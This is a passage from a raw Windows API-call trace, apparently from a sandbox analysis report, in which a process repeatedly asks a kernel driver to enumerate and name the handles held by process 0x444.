Process=0xfffff88005233558) returned 0x0 [0093.832] PsAcquireProcessExitSynchronization () returned 0x0 [0093.832] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.832] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0093.832] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.832] PsReleaseProcessExitSynchronization () returned 0x2 [0093.832] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.832] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.832] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0093.832] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.832] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.832] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.832] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0093.833] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.833] PsAcquireProcessExitSynchronization () returned 0x0 [0093.833] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.833] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0093.833] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.833] PsReleaseProcessExitSynchronization () returned 0x2 [0093.833] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.833] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.833] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0093.833] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.833] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.833] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x144, lpOverlapped=0x0) returned 1 [0093.833] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.833] PsAcquireProcessExitSynchronization () returned 0x0 [0093.833] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.833] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0093.833] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.833] PsReleaseProcessExitSynchronization () returned 0x2 [0093.833] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.833] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.833] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0093.833] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.833] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.833] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0093.833] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.833] PsAcquireProcessExitSynchronization () returned 0x0 [0093.833] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.833] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0093.833] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.833] PsReleaseProcessExitSynchronization () returned 0x2 [0093.834] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.834] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.834] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0093.834] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.834] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.834] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.834] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.834] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.834] PsAcquireProcessExitSynchronization () returned 0x0 [0093.834] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.834] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0093.834] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.834] PsReleaseProcessExitSynchronization () returned 0x2 [0093.834] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.834] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.834] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0093.834] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.834] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.834] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.834] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.834] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.834] PsAcquireProcessExitSynchronization () returned 0x0 [0093.834] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.834] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0093.834] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.834] PsReleaseProcessExitSynchronization () returned 0x2 [0093.834] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.834] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.834] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0093.834] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.835] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.835] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0093.835] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.835] PsAcquireProcessExitSynchronization () returned 0x0 [0093.835] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.835] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0093.835] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.835] PsReleaseProcessExitSynchronization () returned 0x2 [0093.835] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.835] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.835] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 [0093.835] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.835] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.835] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0093.835] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.835] PsAcquireProcessExitSynchronization () returned 0x0 [0093.835] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.835] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0093.835] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.835] PsReleaseProcessExitSynchronization () returned 0x2 [0093.835] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.835] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.835] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0093.835] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.835] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.835] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0093.835] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.835] PsAcquireProcessExitSynchronization () returned 0x0 [0093.835] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.835] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0093.835] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.836] PsReleaseProcessExitSynchronization () returned 0x2 [0093.836] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.836] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.836] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0093.836] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.836] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.836] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0093.836] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.836] PsAcquireProcessExitSynchronization () returned 0x0 [0093.836] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.836] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0093.836] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.836] PsReleaseProcessExitSynchronization () returned 0x2 [0093.836] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.836] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.836] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0093.836] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.836] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.836] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.836] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.836] PsAcquireProcessExitSynchronization () returned 0x0 [0093.836] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.836] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0093.836] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.836] PsReleaseProcessExitSynchronization () returned 0x2 [0093.836] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.836] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.836] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0093.836] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.836] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.836] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.837] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.837] PsAcquireProcessExitSynchronization () returned 0x0 [0093.837] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.837] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0093.837] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.837] PsReleaseProcessExitSynchronization () returned 0x2 [0093.837] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.837] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.837] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0093.837] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.837] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.837] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0093.837] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.837] PsAcquireProcessExitSynchronization () returned 0x0 [0093.837] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.837] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0093.837] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.837] PsReleaseProcessExitSynchronization () returned 0x2 [0093.837] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.837] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.837] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0093.837] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.837] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.837] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0093.837] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.837] PsAcquireProcessExitSynchronization () returned 0x0 [0093.837] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.837] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0093.837] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.837] PsReleaseProcessExitSynchronization () returned 0x2 [0093.837] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.837] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.837] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0093.838] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.838] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.838] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0093.838] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.838] PsAcquireProcessExitSynchronization () returned 0x0 [0093.838] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.838] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0093.838] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.838] PsReleaseProcessExitSynchronization () returned 0x2 [0093.838] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.838] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.838] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0093.838] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.838] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.838] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0093.838] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.838] PsAcquireProcessExitSynchronization () returned 0x0 [0093.838] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.838] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0093.838] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.838] PsReleaseProcessExitSynchronization () returned 0x2 [0093.838] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.838] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.838] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0093.838] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.838] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.838] 